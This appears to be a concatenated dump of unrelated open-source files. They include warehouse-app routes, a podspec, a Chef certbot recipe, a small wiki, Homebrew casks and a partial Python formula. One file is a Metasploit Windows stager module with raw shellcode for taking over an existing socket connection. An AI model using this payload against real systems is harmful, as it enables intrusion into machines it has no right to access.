res = interactor.complete_pallet_tripsheet(id, params[:pallet][:print], params[:pallet][:printer])
if res.success
if params[:pallet][:print] == 't'
jasper_params = JasperParams.new('interwarehouse',
current_user.login_name,
vehicle_job_id: id)
jasper_params.mode = :print
jasper_params.printer = LabelApp::PrinterRepo.new.find_printer(params[:pallet][:printer])&.printer_code
res = CreateJasperReport.call(jasper_params)
end
if res.success
store_locally(:flash_notice, "Tripsheet:#{id} completed and printed successfully")
r.redirect('/rmd/finished_goods/create_pallet_tripsheet')
end
end
store_locally(:error, unwrap_failed_response(res))
store_locally(:form_state, params[:pallet])
r.redirect("/rmd/finished_goods/scan_tripsheet_pallet/#{id}")
end
r.on 'print_tripsheet', Integer do |id|
interactor = RawMaterialsApp::RmtBinInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
rpt_name = interactor.find_vehicle_stock_type(id) == AppConst::PALLET_STOCK_TYPE ? 'interwarehouse' : 'delivery_tripsheet'
jasper_params = JasperParams.new(rpt_name,
current_user.login_name,
vehicle_job_id: id)
res = CreateJasperReport.call(jasper_params)
if res.success
change_window_location_via_json(UtilityFunctions.cache_bust_url(res.instance), request.path)
else
show_error(res.message, fetch?(r))
end
end
r.on 'continue_pallet_tripsheet' do
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
r.get do
form_state = {}
notice = retrieve_from_local_store(:flash_notice)
error = retrieve_from_local_store(:error)
if error.is_a?(String)
form_state.merge!(error_message: error)
elsif !error.nil?
form_state.merge!(error_message: error.message)
form_state.merge!(errors: error.errors) unless error.errors.nil_or_empty?
end
form = Crossbeams::RMDForm.new(form_state,
form_name: :vehicle_job,
notes: notice,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Tripsheet',
action: '/rmd/finished_goods/continue_pallet_tripsheet',
button_caption: 'Submit')
form.add_field(:tripsheet_number, 'Tripsheet Number', scan: 'key248_all', scan_type: :vehicle_job, submit_form: false, required: true, lookup: false)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = interactor.can_continue_tripsheet(params[:vehicle_job][:tripsheet_number])
if res.success
r.redirect("/rmd/finished_goods/scan_tripsheet_pallet/#{params[:vehicle_job][:tripsheet_number]}")
else
store_locally(:error, unwrap_failed_response(res))
r.redirect('/rmd/finished_goods/continue_pallet_tripsheet')
end
end
end
r.on 'cancel_pallet_tripsheet', Integer do |id|
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
res = interactor.cancel_manual_tripsheet(id)
if res.success
store_locally(:flash_notice, res.message)
r.redirect('/rmd/finished_goods/create_pallet_tripsheet')
else
store_locally(:error, unwrap_failed_response(res))
r.redirect("/rmd/finished_goods/scan_tripsheet_pallet/#{id}")
end
end
r.on 'create_pallet_vehicle_job_unit', Integer do |id|
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
res = MesscadaApp::ScanCartonLabelOrPallet.call(scanned_number: params[:pallet][:carton_number])
params[:pallet][:carton_number] = res.instance.carton_label_id
res = interactor.create_pallet_vehicle_job_unit(id, params[:pallet][:pallet_number], params[:pallet][:carton_number])
if res.instance[:carton_required]
form_state = { pallet_number: params[:pallet][:pallet_number] }
form_state.merge!(error_message: res.message)
form = Crossbeams::RMDForm.new(form_state,
form_name: :pallet,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Tripsheet Pallet Carton',
action: "/rmd/finished_goods/create_pallet_vehicle_job_unit/#{id}",
button_caption: 'Submit')
form.add_field(:pallet_number, 'Pallet Number', required: false, hide_on_load: true)
form.add_field(:carton_number, 'Carton Number', data_type: :number, scan: 'key248_all', scan_type: :carton_label_id, submit_form: true, required: true)
form.add_csrf_tag csrf_tag
return view(inline: form.render, layout: :layout_rmd)
end
store_locally(:error, unwrap_failed_response(res)) unless res.success
r.redirect("/rmd/finished_goods/scan_tripsheet_pallet/#{id}")
end
# --------------------------------------------------------------------------
# MOVE DECK PALLETS
# --------------------------------------------------------------------------
r.on 'move_deck_pallets' do
interactor = FinishedGoodsApp::PalletMovementsInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
r.get do
form_state = {}
notice = retrieve_from_local_store(:flash_notice)
error = retrieve_from_local_store(:error)
if error.is_a?(String)
form_state.merge!(error_message: error)
elsif !error.nil?
form_state.merge!(error_message: error.message)
form_state.merge!(errors: error.errors) unless error.errors.nil_or_empty?
end
form = Crossbeams::RMDForm.new(form_state,
form_name: :location,
notes: notice,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Location',
action: '/rmd/finished_goods/move_deck_pallets',
button_caption: 'Submit')
form.add_field(:deck, 'Deck', scan: 'key248_all', scan_type: :location, submit_form: false, required: true, lookup: true)
form.add_field(:location_to, 'To Location', scan: 'key248_all', scan_type: :location, submit_form: false, required: true, lookup: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = interactor.move_deck_pallets(params[:location][:deck], params[:location][:deck_scan_field], params[:location][:location_to], params[:location][:location_to_scan_field])
if res.success
store_locally(:flash_notice, res.message)
else
store_locally(:error, res)
end
r.redirect('/rmd/finished_goods/move_deck_pallets')
end
end
# --------------------------------------------------------------------------
# VIEW DECK PALLETS
# --------------------------------------------------------------------------
r.on 'view_deck_pallets' do
interactor = MesscadaApp::MesscadaInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
r.get do
form_state = {}
error = retrieve_from_local_store(:error)
if error.is_a?(String)
form_state.merge!(error_message: error)
elsif !error.nil?
form_state.merge!(error_message: error.message)
form_state.merge!(errors: error.errors) unless error.errors.nil_or_empty?
end
form = Crossbeams::RMDForm.new(form_state,
form_name: :location,
notes: nil,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Location',
action: '/rmd/finished_goods/view_deck_pallets',
button_caption: 'Submit')
form.add_field(:location, 'Location', scan: 'key248_all', scan_type: :location, submit_form: true, required: true, lookup: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = interactor.get_deck_pallets(params[:location][:location], params[:location][:location_scan_field])
if res.success
is_empty_deck = res.instance[:pallets].find_all { |p| p[:pallet_number] }.empty?
notice = "Deck: #{res.instance[:deck_code]} is empty" if is_empty_deck
form = Crossbeams::RMDForm.new({},
form_name: :location,
notes: notice,
scan_with_camera: @rmd_scan_with_camera,
caption: "Positions for deck:#{res.instance[:deck_code]}",
no_submit: true,
action: '/')
unless is_empty_deck
res.instance[:pallets].each do |e|
form.add_label(e[:pos], "Position #{e[:pos]}", e[:pallet_number])
end
end
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
else
store_locally(:error, res)
r.redirect('/rmd/finished_goods/view_deck_pallets')
end
end
end
end
def offload_valid_vehicle_pallet(route, id) # rubocop:disable Metrics/AbcSize
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
res = interactor.offload_vehicle_pallet(params[:pallet][:pallet_number])
if res.success
store_locally(:flash_notice, res.message)
else
store_locally(:error, res)
end
if !res.instance[:vehicle_job_offloaded]
route.redirect("/rmd/finished_goods/scan_offload_vehicle_pallet/#{id}")
else
form = Crossbeams::RMDForm.new({},
form_name: :pallet,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Offload Pallet',
action: '/',
reset_button: false,
no_submit: true,
button_caption: '')
form.add_section_header("#{res.instance[:pallets_moved]} Pallets have been moved to location #{res.instance[:location]}")
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
end
end
| 51.205882 | 356 | 0.553207 |
794254793ba4d5dd6efa757f9066e2e7b77465d2 | 1,571 | #
# Be sure to run `pod lib lint CHKit.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'CHKit'
s.version = '0.0.9'
s.summary = 'CHKit.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
CHKit for iOS in CooHua Inc. Include UIImage, UIView, UIButton etc categories.
DESC
s.homepage = 'https://gitlab.coohua.com/zhoucheng/CHKit'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'zhoucheng' => '[email protected]' }
s.source = { :git => 'https://gitlab.coohua.com/zhoucheng/CHKit.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'CHKit/Classes/**/*'
s.public_header_files = 'CHKit/Classes/**/*.h'
# s.resource_bundles = {
# 'CHKit' => ['CHKit/Assets/*.png']
# }
# s.frameworks = 'UIKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 36.534884 | 106 | 0.634628 |
1180e0b3fe0341e0abf2b265985b726c762f06be | 1,222 | require 'white_list/white_list_helper'
ActionView::Base.send :include, WhiteListHelper
ActiveRecord::Base.send :include, WhiteListHelper
ActiveRecord::Base.class_eval do
include ActionView::Helpers::TagHelper, ActionView::Helpers::TextHelper, WhiteListHelper, ActionView::Helpers::UrlHelper
def self.format_attribute(attr_name)
class << self; include ActionView::Helpers::TagHelper, ActionView::Helpers::TextHelper, WhiteListHelper; end
define_method(:body) { read_attribute attr_name }
define_method(:body=) { |value| write_attribute "#{attr_name}", value }
define_method(:body_html) { read_attribute "#{attr_name}_html" }
define_method(:body_html=) { |value| write_attribute "#{attr_name}_html", value }
before_save :format_content
end
def dom_id
[self.class.name.downcase.pluralize.dasherize, id] * '-'
end
protected
def format_content
body.strip! if body.respond_to?(:strip!)
self.body_html = body.blank? ? '' : body_html_with_formatting
self.body = white_list(self.body)
end
def body_html_with_formatting
body_html = auto_link(body) { |text| truncate(text, :length => 50) }
white_list(body_html)
end
end | 38.1875 | 122 | 0.718494 |
4ae5e83b2bf095099acaf3c64e3fd4b890da78c0 | 3,374 | name = cookbook_name.to_s
rname = recipe_name.to_s
n = node[name]
bin_cmd = n["bincmd"]
include_recipe name
n["domains"].each do |domain, _options|
options = merge_options(_options, n)
next if !correct_plugin?(rname, options)
le_cert = Cert.new(n["archiveroot"], domain)
arg_str = get_common_args(domain, options)
# cleanup a failed attempt
letsencrypt_snakeoil_cleanup domain do
root n["root"]
not_if { le_cert.exists?() }
action :nothing
end
root_dir = options["root"]
username = options.fetch("user", nil)
group = options.fetch("group", username)
# https://certbot.eff.org/docs/using.html#webroot
# we do these one at a time so they have correct permissions all the way down
full_path = root_dir
[".well-known", "acme-challenge"].each do |bit|
full_path = ::File.join(full_path, bit)
# This doesn't seem to work reliably when there is a .dot-folder in the path
#execute "mkdir -p \"#{full_path}\"; chown #{username}:#{group} #{full_path}; chmod 0755 #{full_path}"
directory "#{full_path}" do
mode '0755'
owner username
group group
recursive true
end
end
# execute "#{name} http validation check for #{domain}" do
# command "wget -qO- \"http://#{domain}/.well-known/acme-challenge\""
# returns [0, 8] # 8 is 404 NOT FOUND
# not_if "test -f #{::File.join(n["certroot"], domain, "cert.pem")}"
# notifies :run, "execute[#{name} #{rname} #{domain}]", :immediately
# end
ex = execute "#{name} #{rname} #{domain}" do
command "#{bin_cmd} certonly --webroot -w #{root_dir} #{arg_str}"
not_if { le_cert.exists?() }
#notifies :create, "cron[#{name} renew]", :delayed
end
notifications = options.fetch('notifies', [])
notifications.each do |params|
ex.notifies(*params)
end
# cleanup the snakeoil stuff last of all
ex.notifies(:run, "letsencrypt_snakeoil_cleanup[#{domain}]", :before)
# sadly, it doesn't look like I can inspect the notification to get the command
# that would actually be run by the service resource, turns out chef doesn't build
# the command until it is running it and it relies on 2-3 different classes to build
# the command which would basically mean I would have to reproduce it all here to
# make it work, not exactly low coupling
# https://github.com/chef/chef/blob/master/lib/chef/provider/service.rb
# https://github.com/chef/chef/blob/master/lib/chef/platform/service_helpers.rb
# https://github.com/chef/chef/blob/master/lib/chef/provider/service/init.rb
# https://github.com/chef/chef/blob/master/lib/chef/resource/service.rb
# ruby_block "#{name} #{rname} renew-hook #{domain}" do
# block do
#
# notifications.each_with_index do |params, index|
# p "======================================================================"
# n = ::Chef::Resource::Notification.new(params[1], params[0], self)
# p n.resource
# n.resolve_resource_reference(run_context.resource_collection)
# #p n.resource
# pr = n.resource.provider_for_action(params[0])
# p pr.new_resource.start_command
# p pr.new_resource.restart_command
# p pr.new_resource.default_init_command
# p "======================================================================"
# end
#
# end # block
#
# end # ruby_block
end
| 33.74 | 106 | 0.640782 |
38b56d390f0d7be85c4d44677f9bb3139f071946 | 405 | # Capture and provide convenient access to output stream content
# when included in an example group
module OutputCapture
def self.included(target)
target.before do
$stdout = @out = StringIO.new
$stderr = @err = StringIO.new
end
target.after do
$stdout = STDOUT
$stderr = STDERR
end
end
def stdout
@out.string
end
def stderr
@err.string
end
end
| 19.285714 | 64 | 0.659259 |
26d84f64ff32c7d9ebda5d63c0a1e2e37cefab98 | 1,019 | # written as an example of how to implement the minimal _why wiki
require 'rubygems'
require 'ramaze'
require 'yaml/store'
require 'bluecloth'
DB = YAML::Store.new('whywiki.yaml') unless defined?(DB)
class WikiController < Ramaze::Controller
map :/
def index
redirect r(:show, 'Home')
end
def show page = 'Home'
@page = url_decode(page)
@text = DB.transaction{|db| db[page] }.to_s
@edit_link = "/edit/#{page}"
@text.gsub!(/\[\[(.*?)\]\]/) do |m|
exists = DB.transaction{|db| db[$1] } ? 'exists' : 'nonexists'
A($1, :href => rs(:show, url_encode($1)), :class => exists)
end
@text = BlueCloth.new(@text).to_html
end
def edit page = 'Home'
@page = url_decode(page)
@text = DB.transaction{|db| db[page] }
end
def save
redirect_referer unless request.post?
page = request['page'].to_s
text = request['text'].to_s
DB.transaction{|db| db[page] = text }
redirect rs(:show, url_encode(page))
end
end
Ramaze.start host: '0.0.0.0'
| 21.229167 | 68 | 0.619235 |
ed969e9a314def964c5b205ec820f7a8fd3d68f6 | 545 | cask 'cyberduck' do
version '6.8.0.28825'
sha256 '39fb2fb31838e844e5dd06f8b61606f2d753425c9943c3feeec56a11ffffaf1a'
url "https://update.cyberduck.io/Cyberduck-#{version}.zip"
appcast 'https://version.cyberduck.io/changelog.rss'
name 'Cyberduck'
homepage 'https://cyberduck.io/'
auto_updates true
app 'Cyberduck.app'
zap trash: [
'~/Library/Application Support/Cyberduck',
'~/Library/Caches/ch.sudo.cyberduck',
'~/Library/Preferences/ch.sudo.cyberduck.plist',
]
end
| 27.25 | 75 | 0.669725 |
7aea138f845c390132348339164b99dce65d2cfc | 578 | # Write a function named mod_three which takes an array of numbers,
# and return a new array consisting of their remainder when divided by three.
# Exclude any numbers which are actually dividible by three.
#
# EXAMPLES:
# mod_three [0] # => []
# mod_three [1] # => [1]
# mod_three [2] # => [2]
# mod_three [3] # => []
# mod_three [4] # => [1]
# mod_three [5] # => [2]
# mod_three [6] # => []
# mod_three [7] # => [1]
#
# mod_three [0,1,2,3,4,5,6,7] # => [1, 2, 1, 2, 1]
def mod_three(array)
list = []
array.map { |x|
list << x%3 if x%3!=0}
list
end | 26.272727 | 77 | 0.567474 |
91e0a41607f625acb47cee1ea577fed8f43a9edf | 1,365 | ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/find_tag'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'Find Tag Ordinal Stager',
'Description' => 'Use an established connection',
'Author' => 'skape',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::FindTag,
'Convention' => 'sockedi',
'SymbolLookup' => 'ws2ord',
'Stager' =>
{
'Offsets' =>
{
'TAG' => [ 84, 'RAW' ],
},
'Payload' =>
"\xfc\x33\xff\x64\x8b\x47\x30\x8b\x40\x0c\x8b\x58\x1c\x8b" +
"\x1b\x8b\x73\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32" +
"\x75\xef\x8b\x6b\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c" +
"\x0d\x1c\x8b\x5c\x29\x3c\x03\xdd\x03\x6c\x29\x24\x57\x66" +
"\x47\x8b\xf4\x56\x68\x7f\x66\x04\x40\x57\xff\xd5\xad\x85" +
"\xc0\x74\xee\x99\x52\xb6\x0c\x52\x56\x57\xff\xd3\xad\x3d" +
"\x6d\x73\x66\x21\x75\xdd\xff\xe6"
}
))
end
end
| 29.673913 | 72 | 0.534799 |
8704f61b37261043e1c52471a6862d16da0e51f5 | 271 | class CreateDivisionsMigration < ActiveRecord::Migration
def self.up
create_table :divisions do |t|
t.timestamps
t.integer :league_id
t.string :name, :limit => 50, :null => false
end
end
def self.down
drop_table(:divisions)
end
end
| 19.357143 | 56 | 0.664207 |
18bc4af2ab57a95a96ef526153830fad68479967 | 1,111 | cask '[email protected]' do
version '2019.2.0a7,b5f63d908f8e'
sha256 :no_check
url "https://download.unity3d.com/download_unity/b5f63d908f8e/MacEditorTargetInstaller/UnitySetup-WebGL-Support-for-Editor-2019.2.0a7.pkg"
name 'WebGL Build Support'
homepage 'https://unity3d.com/unity/'
pkg 'UnitySetup-WebGL-Support-for-Editor-2019.2.0a7.pkg'
depends_on cask: '[email protected]'
preflight do
if File.exist? "/Applications/Unity"
FileUtils.move "/Applications/Unity", "/Applications/Unity.temp"
end
if File.exist? "/Applications/Unity-2019.2.0a7"
FileUtils.move "/Applications/Unity-2019.2.0a7", '/Applications/Unity'
end
end
postflight do
if File.exist? '/Applications/Unity'
FileUtils.move '/Applications/Unity', "/Applications/Unity-2019.2.0a7"
end
if File.exist? '/Applications/Unity.temp'
FileUtils.move '/Applications/Unity.temp', '/Applications/Unity'
end
end
uninstall quit: 'com.unity3d.UnityEditor5.x',
delete: '/Applications/Unity-2019.2.0a7/PlaybackEngines/WebGLSupport'
end
| 30.861111 | 140 | 0.714671 |
6299b633195cf5d2ed8d68604c3dbea4e66588c9 | 20,919 | class PythonAT39 < Formula
desc "Interpreted, interactive, object-oriented programming language"
homepage "https://www.python.org/"
# Keep in sync with [email protected].
url "https://www.python.org/ftp/python/3.9.5/Python-3.9.5.tar.xz"
sha256 "0c5a140665436ec3dbfbb79e2dfb6d192655f26ef4a29aeffcb6d1820d716d83"
license "Python-2.0"
livecheck do
url "https://www.python.org/ftp/python/"
regex(%r{href=.*?v?(3\.9(?:\.\d+)*)/?["' >]}i)
end
bottle do
sha256 arm64_big_sur: "1bbe1682fa834dbd546107d642ece2fdb722839dd42e8ba0e17599b6a99ca81c"
sha256 big_sur: "316baac980aa0a3dac263d64de41c4f09b06945a3da1556549a68949a93e4484"
sha256 catalina: "5d79eedf91642b87bd25e7b791b941ce9aad4735fecd1bc59c9c7faab50cbca6"
sha256 mojave: "a8f5eefdfe8e5d0b9daea86a13a5be87501ce5c8b96c1be6f146c99dc00df660"
sha256 x86_64_linux: "2cdbb911850c7c5adf8a8fdef2b5f759ecc843b64f0e394488f8e13401b0403e"
end
# setuptools remembers the build flags python is built with and uses them to
# build packages later. Xcode-only systems need different flags.
pour_bottle? do
on_macos do
reason <<~EOS
The bottle needs the Apple Command Line Tools to be installed.
You can install them, if desired, with:
xcode-select --install
EOS
satisfy { MacOS::CLT.installed? }
end
end
depends_on "pkg-config" => :build
depends_on "gdbm"
depends_on "mpdecimal"
depends_on "[email protected]"
depends_on "readline"
depends_on "sqlite"
depends_on "xz"
uses_from_macos "bzip2"
uses_from_macos "expat"
uses_from_macos "libffi"
uses_from_macos "ncurses"
uses_from_macos "unzip"
uses_from_macos "zlib"
skip_clean "bin/pip3", "bin/pip-3.4", "bin/pip-3.5", "bin/pip-3.6", "bin/pip-3.7", "bin/pip-3.8"
skip_clean "bin/easy_install3", "bin/easy_install-3.4", "bin/easy_install-3.5", "bin/easy_install-3.6",
"bin/easy_install-3.7", "bin/easy_install-3.8"
link_overwrite "bin/2to3"
link_overwrite "bin/idle3"
link_overwrite "bin/pip3"
link_overwrite "bin/pydoc3"
link_overwrite "bin/python3"
link_overwrite "bin/python3-config"
link_overwrite "bin/wheel3"
link_overwrite "share/man/man1/python3.1"
link_overwrite "lib/pkgconfig/python3.pc"
link_overwrite "lib/pkgconfig/python3-embed.pc"
link_overwrite "Frameworks/Python.framework/Headers"
link_overwrite "Frameworks/Python.framework/Python"
link_overwrite "Frameworks/Python.framework/Resources"
link_overwrite "Frameworks/Python.framework/Versions/Current"
resource "setuptools" do
url "https://files.pythonhosted.org/packages/f6/e9/19af16328705915233299f6f1f02db95899fb00c75ac9da4757aa1e5d1de/setuptools-56.0.0.tar.gz"
sha256 "08a1c0f99455307c48690f00d5c2ac2c1ccfab04df00454fef854ec145b81302"
end
resource "pip" do
url "https://files.pythonhosted.org/packages/94/b0/e10bdc8809c81796c80aa3644a8e3dc16594fb1bd68f5996929f26cad980/pip-21.1.1.tar.gz"
sha256 "51ad01ddcd8de923533b01a870e7b987c2eb4d83b50b89e1bf102723ff9fed8b"
end
resource "wheel" do
url "https://files.pythonhosted.org/packages/ed/46/e298a50dde405e1c202e316fa6a3015ff9288423661d7ea5e8f22f589071/wheel-0.36.2.tar.gz"
sha256 "e11eefd162658ea59a60a0f6c7d493a7190ea4b9a85e335b33489d9f17e0245e"
end
# Link against libmpdec.so.3, update for mpdecimal.h symbol cleanup.
patch do
url "https://www.bytereef.org/contrib/decimal.diff"
sha256 "b0716ba88a4061dcc8c9bdd1acc57f62884000d1f959075090bf2c05ffa28bf3"
end
def lib_cellar
on_macos do
return prefix/"Frameworks/Python.framework/Versions/#{version.major_minor}/lib/python#{version.major_minor}"
end
on_linux do
return prefix/"lib/python#{version.major_minor}"
end
end
def site_packages_cellar
lib_cellar/"site-packages"
end
# The HOMEBREW_PREFIX location of site-packages.
def site_packages
HOMEBREW_PREFIX/"lib/python#{version.major_minor}/site-packages"
end
def install
# Unset these so that installing pip and setuptools puts them where we want
# and not into some other Python the user has installed.
ENV["PYTHONHOME"] = nil
ENV["PYTHONPATH"] = nil
# Override the auto-detection in setup.py, which assumes a universal build.
on_macos do
ENV["PYTHON_DECIMAL_WITH_MACHINE"] = Hardware::CPU.arm? ? "uint128" : "x64"
end
# The --enable-optimization and --with-lto flags diverge from what upstream
# python does for their macOS binary releases. They have chosen not to apply
# these flags because they want one build that will work across many macOS
# releases. Homebrew is not so constrained because the bottling
# infrastructure specializes for each macOS major release.
args = %W[
--prefix=#{prefix}
--enable-ipv6
--datarootdir=#{share}
--datadir=#{share}
--without-ensurepip
--enable-loadable-sqlite-extensions
--with-openssl=#{Formula["[email protected]"].opt_prefix}
--with-dbmliborder=gdbm:ndbm
--enable-optimizations
--with-lto
--with-system-expat
--with-system-ffi
--with-system-libmpdec
]
on_macos do
args << "--enable-framework=#{frameworks}"
args << "--with-dtrace"
# Override LLVM_AR to be plain old system ar.
# https://bugs.python.org/issue43109
args << "LLVM_AR=/usr/bin/ar"
end
on_linux do
args << "--enable-shared"
end
# Python re-uses flags when building native modules.
# Since we don't want native modules prioritizing the brew
# include path, we move them to [C|LD]FLAGS_NODIST.
# Note: Changing CPPFLAGS causes issues with dbm, so we
# leave it as-is.
cflags = []
cflags_nodist = ["-I#{HOMEBREW_PREFIX}/include"]
ldflags = []
ldflags_nodist = ["-L#{HOMEBREW_PREFIX}/lib"]
cppflags = ["-I#{HOMEBREW_PREFIX}/include"]
if MacOS.sdk_path_if_needed
# Help Python's build system (setuptools/pip) to build things on SDK-based systems
# The setup.py looks at "-isysroot" to get the sysroot (and not at --sysroot)
cflags << "-isysroot #{MacOS.sdk_path}"
ldflags << "-isysroot #{MacOS.sdk_path}"
end
# Avoid linking to libgcc https://mail.python.org/pipermail/python-dev/2012-February/116205.html
args << "MACOSX_DEPLOYMENT_TARGET=#{MacOS.version}"
# Disable _tkinter - this is built in a separate formula python-tk
inreplace "setup.py", "DISABLED_MODULE_LIST = []", "DISABLED_MODULE_LIST = ['_tkinter']"
# We want our readline! This is just to outsmart the detection code,
# superenv makes cc always find includes/libs!
inreplace "setup.py",
"do_readline = self.compiler.find_library_file(self.lib_dirs, 'readline')",
"do_readline = '#{Formula["readline"].opt_lib}/#{shared_library("libhistory")}'"
inreplace "setup.py" do |s|
s.gsub! "sqlite_setup_debug = False", "sqlite_setup_debug = True"
s.gsub! "for d_ in self.inc_dirs + sqlite_inc_paths:",
"for d_ in ['#{Formula["sqlite"].opt_include}']:"
end
# Allow python modules to use ctypes.find_library to find homebrew's stuff
# even if homebrew is not a /usr/local/lib. Try this with:
# `brew install enchant && pip install pyenchant`
inreplace "./Lib/ctypes/macholib/dyld.py" do |f|
f.gsub! "DEFAULT_LIBRARY_FALLBACK = [",
"DEFAULT_LIBRARY_FALLBACK = [ '#{HOMEBREW_PREFIX}/lib', '#{Formula["[email protected]"].opt_lib}',"
f.gsub! "DEFAULT_FRAMEWORK_FALLBACK = [", "DEFAULT_FRAMEWORK_FALLBACK = [ '#{HOMEBREW_PREFIX}/Frameworks',"
end
args << "CFLAGS=#{cflags.join(" ")}" unless cflags.empty?
args << "CFLAGS_NODIST=#{cflags_nodist.join(" ")}" unless cflags_nodist.empty?
args << "LDFLAGS=#{ldflags.join(" ")}" unless ldflags.empty?
args << "LDFLAGS_NODIST=#{ldflags_nodist.join(" ")}" unless ldflags_nodist.empty?
args << "CPPFLAGS=#{cppflags.join(" ")}" unless cppflags.empty?
system "./configure", *args
system "make"
ENV.deparallelize do
# Tell Python not to install into /Applications (default for framework builds)
system "make", "install", "PYTHONAPPSDIR=#{prefix}"
on_macos do
system "make", "frameworkinstallextras", "PYTHONAPPSDIR=#{pkgshare}"
end
end
# Any .app get a " 3" attached, so it does not conflict with python 2.x.
Dir.glob("#{prefix}/*.app") { |app| mv app, app.sub(/\.app$/, " 3.app") }
on_macos do
# Prevent third-party packages from building against fragile Cellar paths
inreplace Dir[lib_cellar/"**/_sysconfigdata__darwin_darwin.py",
lib_cellar/"config*/Makefile",
frameworks/"Python.framework/Versions/3*/lib/pkgconfig/python-3.?.pc"],
prefix, opt_prefix
# Help third-party packages find the Python framework
inreplace Dir[lib_cellar/"config*/Makefile"],
/^LINKFORSHARED=(.*)PYTHONFRAMEWORKDIR(.*)/,
"LINKFORSHARED=\\1PYTHONFRAMEWORKINSTALLDIR\\2"
# Fix for https://github.com/Homebrew/homebrew-core/issues/21212
inreplace Dir[lib_cellar/"**/_sysconfigdata__darwin_darwin.py"],
%r{('LINKFORSHARED': .*?)'(Python.framework/Versions/3.\d+/Python)'}m,
"\\1'#{opt_prefix}/Frameworks/\\2'"
end
on_linux do
# Prevent third-party packages from building against fragile Cellar paths
inreplace Dir[lib_cellar/"**/_sysconfigdata_*linux_x86_64-*.py",
lib_cellar/"config*/Makefile",
bin/"python#{version.major_minor}-config",
lib/"pkgconfig/python-3.?.pc"],
prefix, opt_prefix
inreplace bin/"python#{version.major_minor}-config",
'prefix_real=$(installed_prefix "$0")',
"prefix_real=#{opt_prefix}"
end
# Symlink the pkgconfig files into HOMEBREW_PREFIX so they're accessible.
(lib/"pkgconfig").install_symlink Dir["#{frameworks}/Python.framework/Versions/#{version.major_minor}/lib/pkgconfig/*"]
# Remove the site-packages that Python created in its Cellar.
site_packages_cellar.rmtree
# Prepare a wheel of wheel to install later.
common_pip_args = %w[
-v
--no-deps
--no-binary :all:
--no-index
--no-build-isolation
]
whl_build = buildpath/"whl_build"
system bin/"python3", "-m", "venv", whl_build
resource("wheel").stage do
system whl_build/"bin/pip3", "install", *common_pip_args, "."
system whl_build/"bin/pip3", "wheel", *common_pip_args,
"--wheel-dir=#{libexec}",
"."
end
# Replace bundled setuptools/pip with our own.
rm Dir["#{lib_cellar}/ensurepip/_bundled/{setuptools,pip}-*.whl"]
%w[setuptools pip].each do |r|
resource(r).stage do
system whl_build/"bin/pip3", "wheel", *common_pip_args,
"--wheel-dir=#{lib_cellar}/ensurepip/_bundled",
"."
end
end
# Patch ensurepip to bootstrap our updated versions of setuptools/pip
inreplace lib_cellar/"ensurepip/__init__.py" do |s|
s.gsub!(/_SETUPTOOLS_VERSION = .*/, "_SETUPTOOLS_VERSION = \"#{resource("setuptools").version}\"")
s.gsub!(/_PIP_VERSION = .*/, "_PIP_VERSION = \"#{resource("pip").version}\"")
end
# Write out sitecustomize.py
(lib_cellar/"sitecustomize.py").atomic_write(sitecustomize)
# Install unversioned symlinks in libexec/bin.
{
"idle" => "idle3",
"pydoc" => "pydoc3",
"python" => "python3",
"python-config" => "python3-config",
}.each do |unversioned_name, versioned_name|
(libexec/"bin").install_symlink (bin/versioned_name).realpath => unversioned_name
end
end
def post_install
ENV.delete "PYTHONPATH"
# Fix up the site-packages so that user-installed Python software survives
# minor updates, such as going from 3.3.2 to 3.3.3:
# Create a site-packages in HOMEBREW_PREFIX/lib/python#{version.major_minor}/site-packages
site_packages.mkpath
# Symlink the prefix site-packages into the cellar.
site_packages_cellar.unlink if site_packages_cellar.exist?
site_packages_cellar.parent.install_symlink site_packages
# Remove old sitecustomize.py. Now stored in the cellar.
rm_rf Dir["#{site_packages}/sitecustomize.py[co]"]
# Remove old setuptools installations that may still fly around and be
# listed in the easy_install.pth. This can break setuptools build with
# zipimport.ZipImportError: bad local file header
# setuptools-0.9.8-py3.3.egg
